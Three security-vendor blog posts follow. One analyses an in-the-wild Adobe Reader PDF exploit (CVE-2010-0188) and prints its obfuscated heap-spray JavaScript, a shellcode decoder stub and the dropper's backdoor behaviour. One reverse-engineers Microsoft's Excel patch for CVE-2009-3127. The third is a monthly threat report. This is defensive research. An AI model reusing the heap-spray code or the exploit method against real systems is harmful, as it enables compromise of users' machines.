CVE-2010-0188: Exploit in the wild

by Bing Liu
March 24, 2010 at 11:21 am

If you haven’t yet installed the latest patch apsb10-07 for your Adobe Reader and Acrobat, you should hurry. The exploit is in the wild! In this post I will dissect a PDF document (MD5: 48e0cc8629d492a64a2767949d2ed9bc), indeed found in the wild, that leverages CVE-2010-0188 in order to install a backdoor in your Microsoft Windows system. Fortinet detected this sample as PDF/Adbtiff.A!exploit.CVE20100188. The test environment is Adobe Reader 9.3.0 in Microsoft Windows XP SP3.

The key for cybercriminals to exploit CVE-2010-0188 here is to embed a malicious TIFF image in the PDF document (figure 1.1):

d8bjwg5_26ftzfqng8_b

The uncompressed and decoded Tiff image reveals the real attack vector (Figure 1.2): The count value in DotRange.

2

The vulnerable plugin AcroForm.api (version 9.0.148) use this count value without sufficient sanitization. While the target buffer is a two bytes field on the stack, a memcpy instruction (in purple below) copies the 100 DotRange values (200 bytes) there.

3

As a matter of course, this effectively smashes the stack and overwrites the return address with the value 0x0C0C0C0C.

It is time to have a look at the Javascript embed in this PDF. Following is part of the decompressed JavaScript stream:
var  ____ = unescape;
var  _c1 =                 ”\x6c\x65\x6e\x67\x74\x68″;
function _____(__){var _=”;for(var ___=0;___<__[_c1];___+=4) _+=’%'+’u'+__.substr(___,4);return _;}
function     rep(_    ,    __)    {    var ___    =    ”"    ;    while (    –_>=    0) ___    +=     __    ;    return     ___;}
var         sc=        ____        (    _____(“9090909090909090EB905E1a5B56068a303c1674E0c04604268aE480020f88c443…[truncated]))
function uuu(){
_ = rep(128, ____    (_____        (“42424242424242424242″))) + sc;
_0 =             ____        (    _____(“0c0c0c0c”));
_1 = 20    +_[_c1];
while (_0[    _c1]<_1) _0+=_0;
_2     =     _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,     _1);
_3     =     _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, _0[_c1    ]-_1);
while(_3[_c1]     +  _1<0×80000) _3         = _3+    _3+_2;
_4= new Array();
for(i=0;i<=192;i=i+1)    _4[i]                =_3        +_;
}
uuu();

This rather nastily obfuscated JS code simply sprays the heap with an encoded shellcode and its matching decoding stub, so that the return value above (0x0C0C0C0C) leads to the stub execution, as shown below:

0C0C0C0C    0C 0C                    or      al, 0C
[...]
0C10FB26    90                       nop
0C10FB27    EB 1A                    jmp     short 0C10FB43
0C10FB29    5E                       pop     esi
0C10FB2A    56                       push    esi
0C10FB2B    5B                       pop     ebx
0C10FB2C    8A06                     mov     al, byte ptr ds:[esi]
0C10FB2E    3C 30                    cmp     al, 30
0C10FB30    74 16                    je      short 0C10FB48; jump to decoded shellcode
0C10FB32    C0E0 04                  shl     al, 4
0C10FB35    46                       inc     esi
0C10FB36    8A26                     mov     ah, byte ptr ds:[esi]
0C10FB38    80E4 0F                  and     ah, 0F
0C10FB3B    02C4                     add     al, ah
0C10FB3D    8803                     mov     byte ptr ds:[ebx], al
0C10FB3F    43                       inc     ebx
0C10FB40    46                       inc     esi
0C10FB41  ^ EB E9                    jmp     short 0C10FB2C
0C10FB43    E8 E1FFFFFF              call    0C10FB29
; Decoding following shellcode
[...]

Then, the hand is passed to the decoded shellcode, which starts… a decoding loop. This one decrypts a file (simple xor encryption, see figure below) before effectively dropping it as “C:\a.exe” and starting it.
The content of a.exe is also stored in the PDF file.

Figure 1.4 shows the code do the decoding, drop and run the  “C:\a.exe” (MD5: 779211676c099f81739e4320cbdce983).

4

Fortinet detects “a.exe” as W32/Emogen.DHLY!tr.dldr.

By the way, the shellcode use a very simple logic to find the PDF file handle (necessary for droping a.exe, which sits encrypted in the PDF file): It considers it is the first file opened in this process and have a size larger than 1000h. This logic may make mistake and lead to a crash.

Finally, “a.exe” does the followingl:
1. Move itself to “C:\Documents and Settings\Current User\Local Settings” and add an entry in the registry under key “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” for running upon reboot.
2.Prepare memory for code injection
3.Start svchost.exe and inject code in the created process

The poisonned “svchost.exe” in turns connect to a fixed IP and receive/execute commands, like a good old backdoor.

It must be noted, however, that this exploit will fail if you disable Javascript or enabling hardware-enforced DEP. Yet, a researcher named “villy” recently released in his Blog post a proof of concept version (that just launches windows calculator…) that bypasses such protections — Disabling JavaScript and hardware-enforced DEP would not protect you from an attack using a similar strategy.

Author bio: Bing Liu works as a senior researcher/IPS manager for Fortinet. 10+ years work experience in the field of Information Security/CISSP.

CVE-2009-3127: Are we safe now?

by Bing Liu
January 6, 2010 at 12:58 pm

Microsoft released bulletin MS09-067 on Nov 10, 2009. Same as in 2008, this last bulletin for Microsoft Office Excel in 2009 gives a total number of 17 vulnerabilities for this popular product. As the biggest contributor, Fortinet is credited for seven of these vulnerabilities in 2009. Our topic today is the vulnerability referred as CVE-2009-3127. It is one of the eight vulnerabilities that were fixed in Bulletin MS09-067. I found this vulnerability by fuzzing (automatic crafted files creation) in April and when I analyzed it I found it is different from other vulnerabilities and so does the patch from Microsoft: the patched Excel is still crashing when proof of concept file is opened! What’s going on!? Does the patch work? You will find the answer in this blog post. My test environment is Microsoft Office 2003 SP3 under Windows XP SP3. The patch updates the Excel.exe file from version 11.0.8307.0 to 11.0.8316.0.

First we need to know what’s the CVE-2009-3127 is. What causes this vulnerability? The following is cited from bulletin MS09-067:

“The vulnerability exists in the way that Microsoft Office Excel parses
the Excel spreadsheet file format when opening a specially crafted
Excel spreadsheet.

The spreadsheet format mentioned above is Excel Binary File Format (.xls). Regarding CVE-2009-3127, when Excel parses a crafted record SXDB(0xC6) in pivot cache stream (refer to page 53 of MS-XLS), if member cfdbdb is greater than cfdbTot (refer to the highlighted value in Figure 1), it will crash or execute code if the file is well-crafted.

d8bjwg5_10hmns7nhs_b

Figure 1: crafted Excel file details

You may think this vulnerability is due to a lack of
sufficient sanitization on SXDB record. Let’s see the associated code in unpatched Excel.exe (11.0.8307.0). The crafted SXDB record is process at offset 0x301B5926.

.text:301B5926 sub_301B5926    proc near               ; CODE XREF: sub_300E45E9+D1779p
.text:301B5926
.text:301B5926                 push    ebp
.text:301B5927                 lea     ebp, [esp-304h]
.text:301B592E                 sub     esp, 384h

.text:301B5AFC                 push    eax
.text:301B5AFD                 push    14h
.text:301B5AFF                 push    0C6h———————————-expected record type: SXDB(0xC6)
.text:301B5B04                 push    edi
.text:301B5B05                 call    sub_300DA264 ————————Read in record SXDB, edi point to the record data
.text:301B5B0A                 test    eax, eax
.text:301B5B0C                 mov     [ebp+304h+var_33C], eax
.text:301B5B0F                 js      loc_30274DA9
.text:301B5B15                 mov     esi, [ebp+304h+var_330]————-esi point to structure created for this pivot cache stream
.text:301B5B18                 mov     [esi], ebx
.text:301B5B1A                 movsx   eax, word ptr [edi+8]
.text:301B5B1E                 mov     [esi+10h], eax
.text:301B5B21                 mov     eax, [edi]
.text:301B5B23                 mov     [esi+14h], eax
.text:301B5B26                 movsx   eax, word ptr [edi+0Ah]
.text:301B5B2A                 mov     [esi+24h], eax————————-store cfdbdb
.text:301B5B2D                 movsx   eax, word ptr [edi+0Ch]
.text:301B5B31                 mov     [esi+28h], eax————————-store cfdbTot

.text:301B5C19                 mov     eax, [esi+24h]
.text:301B5C1C                 cmp     eax, [esi+28h]————————-compare cfdbdb with cfdbTot
.text:301B5C1F                 ja      loc_301B5CEC

.text:301B5CEC                 push    ebx
.text:301B5CED                 push    ebx
.text:301B5CEE                 push    esi
.text:301B5CEF                 call    sub_30602D11—————————clear the structure pointed by esi!!!

As you can see, cfdbdb value is compared with cfdbToc value and the associate structure (remember this structure, we will refer to it later) is cleared if it is illegal. This is the unpatched version! It is not vulnerable. Let’s see whether the patched version improved this function. The function moves to address 301ABE5A in version 11.0.8316.0 and nothing changed! Now it is clear that the function handling SXDB record is not responsible for this vulnerability. But how cfdbdb can be the attack vector of this vulnerability?

Let’s see the real vulnerable code in unpatched Excel.exe(11.0.8307.0). The record SXVI(0xB2) in WorkSheet is processed at offset 0x301C0C2B

.text:301C0C2B sub_301C0C2B    proc near               ; CODE XREF: sub_301C0F83+E9p
.text:301C0C2B
.text:301C0C2B                 push    ebp
.text:301C0C2C                 mov     ebp, esp

.text:301C0C8F                 push    8
.text:301C0C91                 push    0B2h————————————expected record type: SXVI(0xB2)
.text:301C0C96                 push    edi
.text:301C0C97                 call    sub_300DA264 ————————-Read in  record SXVI

.text:301C0D4C                 test    word ptr [esi], 8800h
.text:301C0D51                 jnz     loc_302767F6

.text:302767F6 loc_302767F6:                           ; CODE XREF: sub_301C0C2B+126j
.text:302767F6                 movsx   eax, word ptr [esi+4]
.text:302767FA                 push    eax
.text:302767FB                 push    [ebp+arg_18]————————–The SXVD(0xB1) record number
.text:302767FE                 call    sub_301B0A05————————-The real vulnerable function!
.text:30276803                 test    byte ptr [esi+1], 8
.text:30276807                 jz      short loc_3027680D
.text:30276809                 or      byte ptr [eax+9], 8———————-eax register is controllable by changing SXVD(0xB1) record numbers!

As I comment inline, function at 0x301B0A05 is responsible for this vulnerability:

.text:301B0A05 sub_301B0A05    proc near               ; CODE XREF: sub_301B0A3F+E3p
.text:301B0A05
.text:301B0A05                 mov     ecx, [esp+arg_0]
.text:301B0A09                 mov     eax, dword_30896958—————–The structure that have been cleared in 301B5926,remember it?
.text:301B0A0E                 cmp     ecx, [eax+24h]————————-compare ecx=0×89 with [eax+24] which is cfdbdb (0 since the structure was cleared)
.text:301B0A11                 jge     loc_3029425C—————————-go to wrong path and the return result is controllable

.text:3029425C                 mov     edx, [eax+2Ch]
.text:3029425F                 imul    ecx, 1E4h——————————–SXVD(0xB1) record numbers
.text:30294265                 mov     eax, [esp+arg_4]
.text:30294269                 inc     eax
.text:3029426A                 imul    eax, 0Ch
.text:3029426D                 add     eax, [edx+ecx+1A8h]
.text:30294274                 jmp     locret_301B0A3C

Now, we are clear about this vulnerability: The function processing SXDB record cleared the structure when it found malformed SXDB record, but the code using this structure doesn’t handle this case. The cooperation of the producer and consumer failed.

Let’s see how Microsoft improves the function at offset 0x301B0A05 in the patched version. The function moved to address 301A7431.

.text:301A7431 sub_301A7431    proc near               ; CODE XREF: sub_301A7474+E3p
.text:301A7431
.text:301A7431                 mov     ecx, [esp+arg_0]
.text:301A7435                 mov     eax, dword_308960A8
.text:301A743A                 cmp     ecx, [eax+28h]—————————compare ecx=0×89 with [eax+28] which is cfdbTot (0 since the structure was cleared)
.text:301A743D                 jnb     loc_30294818——————————patch point, jump to address
30294818 in our case
.text:301A7443                 cmp     ecx, [eax+24h]
.text:301A7446                 jge     loc_3029481F

.text:30294818                 xor     eax, eax————————————-clear eax
.text:3029481A                 jmp     locret_301A7471

Without handling this 0 return value, Excel crash at address 30276DC1:

.text:30276DB6                 call    sub_301A7431——————————return 0
.text:30276DBB                 test    byte ptr [esi+1], 8
.text:30276DBF                 jz      short loc_30276DC5
.text:30276DC1                 or      byte ptr [eax+9], 8————————-Excel crashes with an access violation exception, the crash is non-exploitable

The patch is very simple. It just adds one more validation for cfdbdb when handling SXVI record and return zero if the validation fail. Excel doesn’t handle this zero value smoothly and crashes again. This is acceptable for Excel since the crash becomes non-exploitable. As a conclusion, the patch for CVE-2009-3127 is unshaped but we are safe now.

Author bio: Bing Liu works as a senior researcher/IPS manager for Fortinet. 10+ years work experience in the field of Information Security/CISSP.

April Threat Landscape Report: Waledac, Online Gaming and Virut

by Derek Manky
April 28, 2009 at 10:36 am

Our April 2009 Threat Landscape Report is now available, recapping a month of threat activity from exploits and malware, to spam. Here are some key movements from the report along with comments:

Waledac is one of the most active malware families to be on the lookout for. This period, we saw a fifth campaign hit since the beginning of this year, serving up malicious variants disguised as SMS spying software. With frequent campaigns, heavy server side polymorphism, binaries packed with fluctuating seed lists (portions of its network), and peer to peer HTTP communication through fast fluxed zombies, it is no wonder this malicious network has been so resilient. Waledac, like many blended threats, is multi-functional with the ability to receive and spew custom spam templates, launch denial of service attacks, and download further components. It was also spotted on Conficker’s network, which, in concert with its own various campaigns, has further helped this family gain momentum.

Four new variants landed in our malware top 10 this period, two of them online gaming trojans. Next to Virut, the three most prevalent threats were gaming trojans with a fourth variant narrowly missing a ranking in our top 10. Collectively, these threats formed a significant portion of our detected activity. The lucrative marketplace created through online gaming certainly has attracted cyber crime with haste, as we have reported over the past year. Real money trading (RMT) is now an estimated $2 billion USD annual market, that is surrounded by illegitimate practices, fueled by threats like the ones you see present in third and fourth position in our malware top ten this period.

W32/Virut.A is still king of the hill in our malware top 10, claiming first position for the second month in a row, building on a year-long run within the top ten. This virulent file infector has a rather consistent daily activity rate, similar to mass mailers – indeed this could be due to self-distribution via mass mailers through its hybrid effect. As we anticipated, no significant activity occurred with Conficker.C on the much hyped April 1st date: however, soon after Conficker.C’s newly established peer to peer network became active.

Exploit activity with MS.DCERPC.NETAPI32.Buffer.Overflow (MS08-067) picked up once again during the first week of April, returning to February levels after a significant drop in March. The drop was due to Conficker.C variants ceasing exploit activity, while the subsequent increase can be linked to several factors outside of Conficker. Most notably, a different malware family was observed to exploit the same vulnerability during this period. This is not too surprising, as vulnerabilities are very much a shared resource that are leveraged for years after disclosure. Over 31% of new vulnerabilities this period (96 in total) were reported to be actively exploited: 36 of the new vulnerabilities were rated as ‘Critical’, marking a year high, up from 30 last period.

Author bio: Derek Manky is FortiGuard Labs' senior security strategist and contributes to security research and development, while also acting as a bridge to the public forum on results and findings. He coordinates research team efforts and manages responsible disclosure, and industry collaboration efforts between Fortinet and other vendors.